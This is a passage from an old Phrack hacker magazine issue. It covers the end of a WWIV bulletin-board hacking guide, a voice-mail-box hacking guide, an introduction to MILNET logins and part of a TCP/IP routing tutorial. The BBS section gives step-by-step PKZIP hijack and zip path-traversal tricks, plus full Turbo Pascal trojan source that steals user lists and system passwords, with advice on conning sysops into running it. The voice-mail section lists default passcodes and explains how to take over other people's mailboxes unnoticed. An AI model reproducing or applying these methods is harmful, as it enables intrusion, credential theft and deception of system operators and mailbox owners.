course, if you're going straight in for the kill, it doesn't matter.

     So, what should NETWORK.COM or REMOTE.COM actually be? you ask.  Well, you
can try renaming COMMAND.COM to one of those two, which would make a DOS shell
for you when it was executed.  This is tricky, though, because you need to know
his DOS version.  I suggest a batch file, compiled to a COM file using PC Mag's
BAT2EXEC.  You can make the batch file have one line:

\COMMAND

     That way you don't have to worry about DOS versions.

     Remember that this method of hacking WWIV is almost completely obsolete.
It is just included for reference, or for some old board run from an empty
house where the sysop logs on twice a year or something.

***
*** Technique #2: The PKZIP Archive Hack
***

     Probably the most vulnerable part of WWIV is the archive section.  This
section allows users to unZIP files to a temporary directory and ZIP the files
you want into a temporary ZIP file, then download it.  This is useful if you
download a file from another board, but one file in it is corrupted.  This way
you don't have to re-download the whole file.  Anyway, on with the show.  Make
a zip file that contains a file called PKZIP.BAT or COM or EXE.  It doesn't
matter.  This file will be executed, so make it whatever you want, just like in
Technique #1.  Make it COMMAND.COM, or a batch file, or a HD destroyer,
whatever you want.  So you upload this file, and then type "E" to extract it.

It'll ask you what file to extract and you say the name of the file you just
uploaded.  It'll then say "Extract What? " and you say "*.*".  It'll then unzip
everything (your one file) into the TEMP directory.  Then go to the archive
menu ("G") and pick "A" to add a file to archive.  It'll ask what file you want
to add, and say anything, it doesn't matter.  At this point it will try to
execute the command:

PKZIP TEMP.ZIP \TEMP\%1

     Where %1 is what you just entered.  The file pointer is already pointing
to the temp directory, so instead of executing PKZIP from the DOS path, it'll
execute the file sitting in the current directory, TEMP.  So then it runs PKZIP
and you get your DOS shell or whatever.
     If PKZIP does not work, you may want to try uploading another file, and
use the same technique, but instead make it an ARC file and call the file in
the archive PKPAK.

     This technique is relatively easy to defeat from the sysop's end, but
often they are too lazy, or just haven't heard about it.

***
*** Technique #3: The -D Archive Hack
***

     This technique also plays on the openness of WWIV's archive system.  This
is another method of getting a file into the root BBS directory, or anywhere on
the hard drive, for that matter.

     First, create a temporary directory on your hard drive.  It doesn't matter
what it's called.  We'll call it TEMP.  Then, make a sub-directory of TEMP
called AA. It can actually be called any two-character combination, but we'll
keep it nice and simple.  Then make a subdirectory of AA called WWIV.

     Place NETWORK.COM or REMOTE.COM or whatever in the directory
\TEMP\AA\WWIV.  Then from the TEMP directory execute the command:

PKZIP -r -P STUFF.ZIP         <--- The case of "r" and "P" are important.

     This will create a zip file of all the contents of the directories, but
with all of the directory names recursed and stored.  So if you do a PKZIP -V
to list the files you should see AA\WWIV\REMOTE.COM, etc.

     Next, load STUFF.ZIP into a hex editor, like Norton Utilities, and search
for "AA".  When you find it (it should occur twice), change it to "C:".  It is
probably a good idea to do this twice, once with the subdirectory called WWIV,
and another with it called BBS, since those are the two most common main BBS
directory names for WWIV.  You may even want to try D: or E: in addition to C:.
You could even work backwards, by forgetting the WWIV subdirectory, and just
making it AA\REMOTE.COM, and changing the "AA" to "..".  This would be
foolproof.  You could work from there, doing "..\..\DOS\PKZIP.COM" or whatever.

     Then upload STUFF.ZIP (or whatever you want to call it) to the BBS, and
type "E" to extract it to a temporary directory.  It'll ask you what file.
Type "STUFF.ZIP".  It'll ask what you want to extract.  Type """-D".  It'll
then execute:

PKUNZIP STUFF.ZIP ""-D

     It will unzip everything into the proper directory.  Voila.  The quotation
marks are ignored by PKUNZIP and are only there to trip up WWIV v4.20's check
for the hyphen.  This method can only be defeated by modifying the source code,
or taking out the calls to any PKZIP or PKUNZIP programs in INIT, but then you
lose your archive section.



***
*** Technique #4: The Trojan Horse File-Stealer
***

     This method, if executed properly, is almost impossible to defeat, and
will conceivably work on any BBS program, if you know the directory structure
well enough.  Once again, you need PC Mag's BAT2EXEC, or enough programming
experience to write a program that will copy files from one place to another.
     The basic principle is this: You get the sysop to run a program that you
upload.  This program copies \WWIV\DATA\USER.LST and \WWIV\CONFIG.DAT *over*
files that already exist in the transfer or gfiles area.  You then go download
those files and you have the two most important files that exist for WWIV.
Now, you need to do a certain amount of guess-work here.  WWIV has it's
directories set up like this:



       --- TEMP
      I              --- DIR1
      I             I
      I--- DLOADS---I--- DIR2
      I             I
      I              --- DIR3
WWIV--I--- DATA
      I              --- GDIR1
      I             I
      I--- GFILES---I--- GDIR2
      I             I
      I              --- GDIR3
       --- MSGS


     The sysop sets the names for the DIR1, DIR2, etc.  Often you have names
like UPLOADS, GAMES, UTILS, etc.  For the gfile dirs you might have GENERAL,
HUMOR, whatever.

     So you have to make a guess at the sysop's directory names.  Let's say he
never moves his files from the upload directory.  Then do a directory list from
the transfer menu and pick two files that you don't think anyone will download.
Let's say you see:

RABBIT  .ZIP 164k : The History of Rabbits from Europe to the U.S.
SCD     .COM  12k : SuperCD - changes dirs 3% faster than DOS's CD!

     So you then might write a batch file like this:

@ECHO OFF
COPY \WWIV\DATA\USER.LST \WWIV\DLOADS\UPLOADS\RABBIT.ZIP
COPY \BBS\DATA\USER.LST \BBS\DLOADS\UPLOADS\RABBIT.ZIP
COPY \WWIV\CONFIG.DAT \WWIV\DLOADS\UPLOADS\SCD.COM
COPY \BBS\CONFIG.DAT \BBS\DLOADS\UPLOADS\SCD.COM

     You'd then compile it to a COM file and upload it to the sysop directory.
Obviously this file is going to be pretty small, so you have to make up
plausible use for it.  You could say it's an ANSI screen for your private BBS,
and the sysop is invited.  This is good if you have a fake account as the
president of some big cracking group.  You wouldn't believe how gullible some
sysops are.  At any rate, use your imagination to get him to run the file.  And
make it sound like he shouldn't distribute it, so he won't put it in some
public access directory.

     There is a problem with simply using a batch file.  The output will look
like:

1 file(s) copied.
File not found.
1 file(s) copied.
File not found.

     That might get him curious enough to look at it with a hex editor, which
would probably blow everything.  That's why it's better to write a program in
your favorite language to do this.  Here is a program that searches specified
drives and directories for CONFIG.DAT and USER.LST and copies them over the
files of your choice.  It was written in Turbo Pascal v5.5:

Program CopyThisOverThat;

{ Change the dir names to whatever you want.  If you change the number of
  locations it checks, be sure to change the "num" constants as well  }

uses dos;

const
   NumMainDirs = 5;
   MainDirs: array[1..NumMainDirs] of string[8] = ('BBS','WWIV','WORLD',
      'BOARD','WAR');
   NumGfDirs = 3;
   GFDirs: array[1..NumGFDirs] of string[8] = ('DLOADS','FILES','UPLOADS');
   NumSubGFDirs = 2;
   SubGFDirs: array[1..NumSubGFDirs] of string[8] = ('UPLOADS','MISC');

   NumDirsToTest = 3;
   DirsToTest: array[1..NumDirsToTest] of string[3] = ('C:\','D:\','E:\');
   {ok to test for one that doesn't exist}

   {Source file names include paths from the MAIN BBS subdir (e.g. "BBS")  }

   SourceFileNames: array[1..2] of string[25] = ('DATA\USER.LST','DATA\CONFIG.DA
T');

   { Dest file names are from subgfdirs }

   DestFileNames: array[1..2] of string[12] = ('\BDAY.MOD','\TVK.ZIP');

var
   p, q, r, x, y, dirN: byte;
   bigs: word;
   CurDir, BackDir: string[80];
   f1, f2: file;
   Info: pointer;
   ok: boolean;

Procedure Sorry;

var
   x, y: integer;
begin
for y := 1 to 1000 do
   for x := 1 to 100 do
      ;
Writeln;
Writeln ('<THIS IS DISPLAYED WHEN FINISHED>');  {change to something like }
Writeln;                                        {Abnormal program termination}
ChDir(BackDir);
Halt;
end;

begin

Write ('<THIS IS DISPLAYED WHILE SEARCHING>'); {change to something like }

{$I-}                                          {Loading...}

GetDir (0, BackDir);
ChDir('\');
for dirn := 1 to NumDirsToTest do
   begin
   ChDir(DirsToTest[dirn]);
   if IOResult = 0 then
      begin
      for p := 1 to NumMainDirs do
         begin
         ChDir (MainDirs[p]);
         if (IOResult <> 0) then
            begin
            if (p = NumMainDirs) and (dirn = NumDirsToTest) then
               Sorry;
            end else begin
            p := NumMainDirs;
            for q := 1 to NumGFDirs do
               begin
               ChDir (GFDirs[q]);
               if (IOResult <> 0) then
                  begin
                  if (q = NumGFDirs) and (dirn=NumdirsToTest) then
                     Sorry;
                  end else begin
                  q := NumGFDirs;
                  for r := 1 to NumSubGFDirs do
                     begin
                     ChDir (SubGFDirs[r]);
                     if (IOResult <> 0) then
                        begin
                        if r = NumSubGFDirs then
                           Sorry;
                        end else begin
                        r := NumSubGFDirs;
                        dirn := NumDirsToTest;
                        ok := true;
                        end;
                     end;
                  end;
               end;
            end;
         end;
      end;
   end;
GetDir (0, CurDir);
ChDir ('..');
ChDir ('..');
for x := 1 to 2 do
   begin
   Assign (f1, SourceFileNames[x]);
   Assign (f2, CurDir+DestFileNames[x]);
   Reset (f1, 1);
   if IOResult <> 0 then
      begin
      if x = 2 then
         Sorry;
      end else begin
      ReWrite (f2, 1);
      Bigs := FileSize(f1);
      GetMem(Info, Bigs);
      BlockRead(f1, Info^, Bigs);
      BlockWrite (f2, Info^, Bigs);
      FreeMem(Info, Bigs);
      end;
   end;
Sorry;
end.

     So hopefully the sysop runs this program and emails you with something
like "Hey it didn't work bozo!".  Or you could make it work.  You could
actually stick a BBS ad in the program or whatever.  It's up to you.  At any
rate, now you go download those files that it copied the USER.LST and
CONFIG.DAT over.  You can type out the CONFIG.DAT and the first word you see in
all caps is the system password.  There are several utilities for WWIV that let
you compile the USER.LST to a text file.  You can find something like that on a
big WWIV board, or you can try to figure it out with a text or hex editor.  At
any rate, once you have those two files, you're in good shape.

     You could also use a batch file like that in place of one that calls
COMMAND.COM for something like REMOTE.COM.  It's up to you.

***
*** Hacking Prevention
***

     So you are the sysop of a WWIV board, and are reading this file with
growing dismay.  Have no fear, if you have patience, almost all of these
methods can be fixed.

     To eliminate the wildcard upload, all you have to do it get a current copy
of WWIV (4.20), and the latest version of DSZ.  It's all been fixed.  To fix
the PKZIP archive hack, simply specify a path in INIT in all calls to PKZIP,
PKUNZIP, PKPAK, PKUNPAK, and any other archive programs you have.  So your
command lines should look like:

\DOS\PKZIP -V %1

     Or something similar.  That will fix that nicely.  To eliminate the -D
method, you have to make some modifications to the source code if you want to
keep your archive section.  Goose, sysop of the Twilight Zone BBS in VA,
puts out a NOHACK mod, which is updated regularly.  It fixes ALL of these
methods except the last.  The latest version of NOHACK is v2.4.  If you are a
WWIV sysop, put it in.

     I can think of two ways to stop the last method, but neither of them are
easy, and both require source code modifications.  You could keep track of the
filesize of a file when it's uploaded.  Then when someone goes to download it,
you could check the actual filesize with the size when it was uploaded.  If
they differ, it wouldn't let you download it.  You could do the same with the
date.  Although either method could be gotten around with enough patience.

     For a virtually unhackable system, voice validate all users, have all
uploads go to the sysop directory so you can look over them first, and don't
run any programs.  Of course, this is very tedious, but that is the price
of a secure BBS.

***
*** Thanks
***

     Thanks to Fenris Wolf for teaching me about the -D method, to Steve
for help with the CopyThisOverThat program, and to Insight for proofing this
file.

*******************************************************************************


--------------------------------------------------------------------------------


                                ==Phrack Inc.==

                Volume Three, Issue Thirty-four, File #6 of 11


                           HACKING VOICE MAIL SYSTEMS

                               by  Night Ranger


DISCLAIMER

I, Night Ranger, or anyone else associated with Phrack, am not responsible
for anything the readers of this text may do.  This file is for informational
and educational purposes only and should not be used on any system or network
without written permission of the authorized persons in charge.


INTRODUCTION

I decided to write this text file because I received numerous requests for
vmbs from people.  Vmbs are quite easy to hack, but if one doesn't know where
to start it can be hard.  Since there aren't any decent text files on this
subject, I couldn't refer them to read anything, and decided to write one
myself.  To the best of my knowledge, this is the most complete text on
hacking vmb systems.  If you have any comments or suggestions, please let me
know.

Voice Mail Boxes (vmbs) have become a very popular way for hackers to get in
touch with each other and share information.  Probably the main reason for
this is their simplicity and availability.  Anyone can call a vmb regardless
of their location or computer type.  Vmbs are easily accessible because most
are toll free numbers, unlike bulletin boards.  Along with their advantages,
they do have their disadvantages.  Since they are easily accessible this
means not only hackers and phreaks can get information from them, but feds
and narcs as well.  Often they do not last longer than a week when taken
improperly.  After reading this file and practicing the methods described,
you should be able to hack voice mail systems with ease.  With these thoughts
in mind, let's get started.


FINDING A VMB SYSTEM

The first thing you need to do is find a VIRGIN (unhacked) vmb system.  If
you hack on a system that already has hackers on it, your chance of finding
a box is considerably less and it increases the chance that the system
administrator will find the hacked boxes.  To find a virgin system, you need
to SCAN some 800 numbers until you find a vmb.  A good idea is to take the
number of a voice mail system you know, and scan the same exchange but not
close to the number you have.


FINDING VALID BOXES ON THE SYSTEM

If you get a high quality recording (not an answering machine) then it is
probably a vmb system.  Try entering the number 100, the recording should
stop.  If it does not, you may have to enter a special key (such as '*' '#'
'8' or '9') to enter the voice mail system.  After entering 100 it should
either connect you to something or do nothing.  If it does nothing, keep
entering (0)'s until it does something.  Count the number of digits you
entered and this will tell you how many digits the boxes on the system are.
You should note that many systems can have more than one box length depending
on the first number you enter, Eg. Boxes starting with a six can be five
digits while boxes starting with a seven can only be four.  For this file we
will assume you have found a four digit system, which is pretty common.  It
should do one of the following things...

1)  Give you an error message, Eg. 'Mailbox xxxx is invalid.'
2)  Ring the extension and then one of the following..
    1)  Someone or no one answers.
    2)  Connects you to a box.
3)  Connect you to mailbox xxxx.

If you get #1 then try some more numbers.  If you get #2 or #3 then you have
found a valid vmb (or extension in the case of 2-1).  Extensions usually have
a vmb for when they are not at their extension.  If you get an extension,
move on.  Where you find one box you will probably find more surrounding it.
Sometimes a system will try to be sneaky and put one valid vmb per 10 numbers.
Eg. Boxes would be at 105, 116, 121, ... with none in between.  Some systems
start boxes at either 10 after a round number or 100 after, depending on
whether it is a three or four box system.  For example, if you do not find
any around 100, try 110 and if you do not find any around 1000 try 1100.  The
only way to be sure is to try EVERY possible box number.  This takes time but
can be worth it.

Once you find a valid box (even if you do not know the passcode) there is a
simple trick to use when scanning for boxes outside of a vmb so that it does
not disconnect you after three invalid attempts.  What you do is try two box
numbers and then the third time enter a box number you know is valid.  Then
abort ( usually by pressing (*) or (#) ) and it will start over again.  From
there you can keep repeating this until you find a box you can hack on.


FINDING THE LOGIN SEQUENCE

Different vmb systems have different login sequences (the way the vmb owner
gets into his box).  The most common way is to hit the pound (#) key from the
main menu.  This pound method works on most systems, including Aspens (more
on specific systems later).  It should respond with something like 'Enter
your mailbox.' and then 'Enter your passcode.'  Some systems have the
asterisk (*) key perform this function.  Another login method is hitting a
special key during the greeting (opening message) of the vmb.  On a Cindy or
Q Voice Mail system you hit the zero (0) key during the greet and since
you've already entered your mailbox number it will respond with 'Enter your
passcode.'  If (0) doesn't do anything try (#) or (*).  These previous two
methods of login are the most common, but it is possible some systems will
not respond to these commands.  If this should happen, keep playing around
with it and trying different keys.   If for some reason you cannot find the
login sequence, then save this system for later and move on.


GETTING IN

This is where the basic hacking skills come to use.  When a system
administrator creates a box for someone, they use what's called a default
passcode.  This same code is used for all the new boxes on the system, and
often on other systems too.  Once the legitimate owner logs into his new vmb,
they are usually prompted to change the passcode, but not everyone realizes
that someone will be trying to get into their mailbox and quite a few people
leave their box with the default passcode or no passcode at all.  You should
try ALL the defaults I have listed first.


DEFAULTS           BOX NUMBER      TRY

box number (bn)    3234            3234        Most Popular
bn backwards       2351            1532        Popular
bn+'0'             323             3230        Popular With Aspens

Some additional defaults in order of most to least common are:

4d        5d        6d
0000      00000     000000    *MOST POPULAR*
9999      99999     999999    *POPULAR*
1111      11111     111111    *POPULAR*
1234      12345     123456    *VERY POPULAR WITH OWNERS*
4321      54321     654321
6789      56789     456789
9876      98765     987654
2222      22222     222222
3333      33333     333333
4444      44444     444444
5555      55555     555555
6666      66666     666666
7777      77777     777777
8888      88888     888888
1991


It is important to try ALL of these before giving up on a system.  If none of
these defaults work, try anything you think may be their passcode.  Also
remember that just because the system can have a four digit passcode the vmb
owner does not have to have use all four digits.  If you still cannot get
into the box, either the box owner has a good passcode or the system uses a
different default.  In either case, move on to another box.  If you seem to
be having no luck, then come back to this system later.  There are so many
vmb systems you should not spend too much time on one hard system.

If there's one thing I hate, it's a text file that says 'Hack into the
system.  Once you get in...' but unlike computer systems, vmb systems really
are easy to get into.  If you didn't get in, don't give up!  Try another
system and soon you will be in.  I would say that 90% of all voice mail
systems have a default listed above.  All you have to do is find a box with
one of the defaults.


ONCE YOU'RE IN

The first thing you should do is listen to the messages in the box, if there
are any.  Take note of the dates the messages were left.  If they are more
than four weeks old, then it is pretty safe to assume the owner is not using
his box.  If there are any recent messages on it, you can assume he is
currently using his box.  NEVER take a box in use.  It will be deleted soon,
and will alert the system administrator that people are hacking the system.
This is the main reason vmb systems either go down, or tighten security.  If
you take a box that is not being used, it's probable no one will notice for
quite a while.


SCANNING BOXES FROM THE INSIDE

>From the main menu, see if there is an option to either send a message to
another user or check receipt of a message.  If there is you can search for
VIRGIN (unused) boxes) without being disconnected like you would from
outside of a box.  Virgin boxes have a 'generic' greeting and name.  Eg.
'Mailbox xxx' or 'Please leave your message for mailbox xxx...'   Write down
any boxes you find with a generic greeting or name, because they will
probably have the default passcode.  Another sign of a virgin box is a name
or greeting like 'This mailbox is for ...' or a women's voice saying a man's
name and vice versa, which is the system administrator's voice.  If the box
does not have this feature, simply use the previous method of scanning boxes
from the outside.  For an example of interior scanning, when inside an Aspen
box, chose (3) from the main menu to check for receipt.  It will respond with
'Enter box number.'  It is a good idea to start at a location you know there
are boxes present and scan consecutively, noting any boxes with a 'generic'
greeting.  If you enter an invalid box it will alert you and allow you to
enter another.  You can enter invalid box numbers forever, instead of the
usual three incorrect attempts from outside a box.


TAKING A BOX

Now you need to find a box you can take over.  NEVER take a box in use; it
simply won't last.  Deserted boxes (with messages from months ago) are the
best and last the longest.  Take these first.  New boxes have a chance of
lasting, but if the person for whom the box was created tries to login,
you'll probably lose it.  If you find a box with the system administrator's
voice saying either the greeting or name (quite common), keeping it that way
will prolong the box life, especially the name.

This is the most important step in taking over a box!  Once you pick a box take
 over, watch it for at least three days BEFORE changing anything!  Once
you think it's not in use, then change only the passcode, nothing else!
Then login frequently for two to three days to monitor the box and make sure
no one is leaving messages in it.  Once you are pretty sure it is deserted,
change your greeting to something like 'Sorry I'm not in right now, please
leave your name and number and I'll get back to you.'  DO NOT say 'This is
Night Ranger dudes...' because if someone hears that it's good as gone.  Keep
your generic greeting for one week.  After that week, if there are no
messages from legitimate people, you can make your greeting say whatever you
want.  The whole process of getting a good vmb (that will last) takes about
7-10 days, the more time you take the better chance you have of keeping it
for long time.  If you take it over as soon as you get in, it'll probably
last you less than a week.  If you follow these instructions, chances are it
will last for months.  When you take some boxes, do not take too many at one
time.  You may need some to scan from later.  Plus listening to the messages
of the legitimate users can supply you with needed information, such as the
company's name, type of company, security measures, etc.


SYSTEM IDENTIFICATION

After you have become familiar with various systems, you will recognize them
by their characteristic female (or male) voice and will know what defaults
are most common and what tricks you can use.  The following is a few of a few
popular vmb systems.

ASPEN is one of the best vmb systems with the most features.  Many of them
will allow you to have two greetings (a regular and an extended absence
greeting), guest accounts, urgent or regular messages, and numerous other
features.  Aspens are easy to recognize because the female voice is very
annoying and often identifies herself as Aspen.  When you dial up an Aspen
system, sometimes you have to enter an (*) to get into the vmb system.  Once
you're in you hit (#) to login.  The system will respond with 'Mailbox number
please?'  If you enter an invalid mailbox the first time it will say 'Mailbox
xxx is invalid...' and the second time it will say 'You dialed xxx, there is
no such number...'  and after a third incorrect entry it will hang up.  If
you enter a valid box, it will say the box owner's name and 'Please enter
your passcode.'  The most common default for Aspens is either box number or
box number + (0).  You only get three attempts to enter a correct box number
and then three attempts to enter a correct passcode until it will disconnect
you.  From the main menu of an Aspen box you can enter (3) to scan for other
boxes so you won't be hung up like you would from outside the box.

CINDY is another popular system.  The system will start by saying 'Good
Morning/Afternoon/Evening.  Please enter the mailbox number you wish...' and
is easy to identify.  After three invalid box entries the system will say
'Good Day/Evening!' and hang up.  To login, enter the box number and during
the greet press (0) then your passcode.  The default for ALL Cindy systems is
(0).  From the main menu you can enter (6) to scan for other boxes so you
won't be hung up.  Cindy voice mail systems also have a guest feature, like
Aspens.  You can make a guest account for someone, and give them
password, and leave them messages.  To access their guest account, they just
login as you would except they enter their guest passcode.  Cindy systems
also have a feature where you can have it call a particular number and
deliver a recorded message.  However, I have yet to get this feature to work
on any Cindy boxes that I have.

MESSAGE CENTER is also very popular, especially with direct dials.  To login
on a Message Center, hit the (*) key during the greet and the system will
respond with 'Hello <name>.  Please enter your passcode.'  These vmbs are
very tricky with their passcode methods.  The first trick is when you enter
an invalid passcode it will stop you one digit AFTER the maximum passcode
length.  Eg. If you enter 1-2-3-4-5 and it gives you an error message you enter
 the fifth digit, that means the system uses a four digit passcode,
which is most common on Message Centers.  The second trick is that if you enter
an invalid code the first time, no matter what you enter as the second passcode
it will give you an error message and ask again.  Then if you entered the
correct passcode the second and third time it will let you login.  Also, most
Message Centers do not have a default, instead the new boxes are 'open' and
when you hit (*) it will let you in.  After hitting (*) the first time to
login a box you can hit (*) again and it will say 'Welcome to the Message
Center.' and from there you can dial other extensions.  This last feature can
be useful for scanning outside a box.  To find a new box, just keep entering
box numbers and hitting (*) to login.  If it doesn't say something to the
effect of welcome to your new mailbox then just hit (*) again and it will
send you back to the main system so you can enter another box.  This way you
will not be disconnected.  Once you find a box, you can enter (6) 'M'ake a
message to scan for other boxes with generic names.  After hitting (6) it
will ask for a mailbox number.  You can keep entering mailbox numbers until
you find a generic one.  Then you can cancel your message and go hack it out.


Q VOICE MAIL is a rather nice system but not as common.  It identifies itself
'Welcome to Q Voice Mail Paging' so there is no question about what system it
is.  The box numbers are usually five digits and to login you enter (0) like
a Cindy system.  From the main menu you can enter (3) to scan other boxes.

There are many more systems I recognize but do not know the name for them.
You will become familiar with these systems too.


CONCLUSION

You can use someone else's vmb system to practice the methods outlined above,
but if you want a box that will last you need to scan out a virgin system.
If you did everything above and could not get a vmb, try again on another
system.  If you follow everything correctly, I guarantee you will have more
vmbs than you know what to do with.  When you start getting a lot of them, if
you are having trouble, or just want to say hi be sure to drop me a line on
either of my internet addresses, or leave me a voice mail message.

NOTE:  Some information was purposely not included in this file to prevent
abuse to various systems.


                               Night Ranger
                        [email protected]

                 1-800-666-2336  Box 602  (After Business Hours)
                 1-800-435-2008  Box 896  (After Business Hours)
_______________________________________________________________________________


--------------------------------------------------------------------------------


                                ==Phrack Inc.==

                Volume Three, Issue Thirty-four, File #7 of 11
                     _____________________________________
                    |                                     |
                    |  : : : : : : : : : : : : : : : : :  |
                    |  :    Brigadier General Swipe    :  |
                    |  : : : : : : : : : : : : : : : : :  |
                    |                                     |
                    |              presents:              |
                     _____________________________________

                    |                                     |
                    |      An Introduction to MILNET      |
                    |                                     |
                    |_____________________________________|

        : :Introduction: :

     First of all MILNET is a system used by branches of the military for
unclassified communications.  MILNET produces that infamous TAC login xxx.  TAC
MILNET is run out of the University of Southern California.  USC is the ISI
master dial up.  I would also like to point out that the Department of Defense
tends to frown on people browsing through there system.  With that in mind,
here is a basic overview of MILNET operations.

        : :Logging On: :

    MILNET can be reached over through the "nets" or can be directly connected
to by dialing 1-800-368-2217 or 213-306-1366.  The later is the ISI master dial
up.  Most military bases connect through the 800 dial up owned by AT&T.

ISIE MASTER LOGON PROCEDURE
----------------------------
1> call 213-306-1366
2> when the phone stops ringing you are connected
3> enter location number (9 digits) + 1 or 0
4> hang up and it will call you
5> pick up the phone and hit the '*' on your phone
6> hit a carriage return on the computer
7> at the 'what class?' prompt hit RETURN
8> then a 'go' prompt will appear and log on as you would the 800 number.

MILNET LOGIN PROCEDURE
-----------------------
> When you first connect you will see:

'WELCOME TO DDN. FOR OFFICIAL USE ONLY.TAC LOGIN
CALL NIC 1-800-235-3155 FOR HELP
WRPAT TAC 113 #:36

> the person logging on types:

@o 1/103

 YOU ALWAYS TYPE @o then other connections are:
                          ISIA             3/103
                          ISIB          10:3/52
                          ISID          10:0/27
                          ISIE             1/103    (THE EXAMPLE)
                          ISIF             2/103
                          VAX A         10:2/27

> Next you will see a 'USER-ID' prompt. The first 4 characters vary but it is
is always followed by a '-' and what ever connection you choose.

User-Id:   (example)  CER5-ISIE or MRW1-ISIE

> The first three letters are the initials of the user followed by a random
number (1-9).

Access Code: (example) 2285UNG6A or 22L8KK5CH

> An access code will never contain a ( 1, 0, G, Z).

@ USERNAME + PASSWORD        IE USERNAME SAC.512AREFW-LGTO

THE USERNAME EXPLANATION:
-------------------------
     The first 3 letters in the example given above are SAC. This stands for
Strategic Air Command, a branch of the Air Force.  Following that is a "."
Then the unit number and the prime mission.  In this case 512AREFW", (512th
AIR REFUELING WING).  Then a '-' and the Individual Squadron name 'LGTO'
(LOGISTICS GROUND TRANSPORTATION OPERATIONS), a fancy name for the motor pool.
     The password will not be echoed back and should be entered after the
username.  The new user password as a default is: NEW-UZER-ACNT.

        : :Options: :

PROGRAMS AVAILABLE TO SAC USERS:
-------------------------------

ADUTY   aids in management of additional duty assignments.
        (International help - use the ? and <ESC> keys, HELP.)

ARCHIVE requests files to be stored on tape for later retrieval.
        (Type HELP ARCHIVE <RET> at TOPS-20.)

CHAT    Provides near real time communication between terminal users on the
          same host computer.
        (Use ? with CHAT.)

DAILY   Executive appointment scheduling program

DCOPY   Handles output on DIABLO and XEROX printers

EMACS   Powerful full-screen text editor
FOLLOW  Suspense follow up program

FTP     provides file transfer capabilities between host computers

FKEYS   allows user to define function key (real spiffaruni)

HELP    the command used by stupid generals or hackers that have never used
        milnet before

HERMES  E-Mail

NCPCALC spreadsheet program

PHOTO   saves transcripts of sessions

REMIND  sends user-created reminders

RIPSORT a sophisticated data sorting program
        (Described in SAC's User manual (sorry))

SCRIBE  a powerful text formatter for preparing documents.
        (ISI's manual, SCRIBE manual - soon on MILNET V.2)

SPELL   text file spelling checker.
        (HELP at TOPS-20 and <DOCUMENTATION> directory international help -?)

SUSCON  allows the creating, sending, and clearing of suspenses.
        (international help - ? and <ESC>, HELP command)

TACOPY  used for printing hard copies of files
        (international help - ?)

TALK    pretty much the same as chat.

TIPCOPY predecessor of TACOPY

TEACH-EMACS     (SELF EXPLANATORY: GIVES LIST OF COMMANDS)

TN      Tel-Net provides multi-host access on MILNET.
        (HELP at TOPS-20 and <DOCUMENTATION> directory,
         international help - use ? and <ESC>)

XED     line oriented text editor.
        (HELP at TOPS-20 and <DOCUMENTATION> directory)

        : :Logging Out: :

TYPE:  @L

        : :ID Card: :

     When a user gets a MILNET account he/she receives a card in the mail that
looks similar to the diagram below.  It is credit card sized and will be blue &
white.
 _______________________________________
/                                       \
| HOST USC-ISIE 26.1.0.103              |
| HOST ADMINISTRATOR GORDON,VICKI L.    |
|---------------------------------------|
| DDN CARD HOLDER:                      |
| SMITH, BILL A, 1st LT.                |
| CARD 418475                           |
|---------------------------------------|
| USER ID:CER5-ISIE                     |
| ACCESS CODE:2285ANI6A                 |
| USERNAME: SAC.512AREFW-LGTO           |
| PASSWORD: NEW-UZER-ACNT               |
\_______________________________________/
_______________________________________________________________________________

: : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : :
_______________________________________________________________________________


--------------------------------------------------------------------------------


                            ==Phrack Inc.==

                Volume Three, Issue Thirty-Four, File #8 of 11

                A TCP/IP Tutorial : Behind The Internet
                            Part Two of Two

                           October 4th, 1991

                         Presented by  The Not

5.  Internet Protocol

   The IP module is central to internet technology and the essence of IP
   is its route table.  IP uses this in-memory table to make all
   decisions about routing an IP packet.  The content of the route table
   is defined by the network administrator.  Mistakes block
   communication.

   To understand how a route table is used is to understand
   internetworking.  This understanding is necessary for the successful
   administration and maintenance of an IP network.

   The route table is best understood by first having an overview of
   routing, then learing about IP network addresses, and then looking
   at the details.

5.1  Direct Routing

   The figure below is of a tiny internet with 3 computers: A, B, and C.
   Each computer has the same TCP/IP protocol stack as in Figure 1.
   Each computer's Ethernet interface has its own Ethernet address.
   Each computer has an IP address assigned to the IP interface by the
   network manager, who also has assigned an IP network number to the
   Ethernet.

                          A      B      C
                          |      |      |
                        --o------o------o--
                        Ethernet 1
                        IP network "development"

                       Figure 6.  One IP Network

   When A sends an IP packet to B, the IP header contains A's IP address
   as the source IP address, and the Ethernet header contains A's
   Ethernet address as the source Ethernet address.  Also, the IP header
   contains B's IP address as the destination IP address and the
   Ethernet header contains B's Ethernet address as the des
                ----------------------------------------
                |address            source  destination|
                ----------------------------------------
                |IP header          A       B          |
                |Ethernet header    A       B          |
                ----------------------------------------
       TABLE 5.  Addresses in an Ethernet frame for an IP packet
                              from A to B

   For this simple case, IP is overhead because the IP adds little to
   the service offered by Ethernet.  However, IP does add cost: the
   extra CPU processing and network bandwidth to generate, transmit, and
   parse the IP header.

   When B's IP module receives the IP packet from A, it checks the
   destination IP address against its own, looking for a match, then it
   passes the datagram to the upper-level protocol.

   This communication between A and B uses direct routing.

5.2  Indirect Routing

   The figure below is a more realistic view of an internet.  It is
   composed of 3 Ethernets and 3 IP networks connected by an IP-router
   called computer D.  Each IP network has 4 computers; each computer
   has its own IP address and Ethernet address.

          A      B      C      ----D----      E      F      G
          |      |      |      |   |   |      |      |      |
        --o------o------o------o-  |  -o------o------o------o--
        Ethernet 1                 |  Ethernet 2
        IP network "development"   |  IP network "accounting"
                                   |
                                   |
                                   |     H      I      J
                                   |     |      |      |
                                 --o-----o------o------o--
                                  Ethernet 3
                                  IP network "factory"

               Figure 7.  Three IP Networks; One internet

   Except for computer D, each computer has a TCP/IP protocol stack like
   that in Figure 1.  Computer D is the IP-router; it is connected to
   all 3 networks and therefore has 3 IP addresses and 3 Ethernet
   addresses.  Computer D has a TCP/IP protocol stack similar to that in
   Figure 3, except that it has 3 ARP modules and 3 Ethernet drivers
   instead of 2.  Please note that computer D has only one IP module.

   The network manager has assigned a unique number, called an IP
   network number, to each of the Ethernets.  The IP network numbers are
   not shown in this diagram, just the network names.

   When computer A sends an IP packet to computer B, the process is
   identical to the single network example above.  Any communication
   between computers located on a single IP network matches the direct
   routing example discussed previously.

   When computer D and A communicate, it is direct communication.  When
   computer D and E communicate, it is direct communication.  When
   computer D and H communicate, it is direct communication.  This is
   because each of these pairs of computers is on the same IP network.

   However, when computer A communicates with a computer on the far side
   of the IP-router, communication is no longer direct.  A must use D to
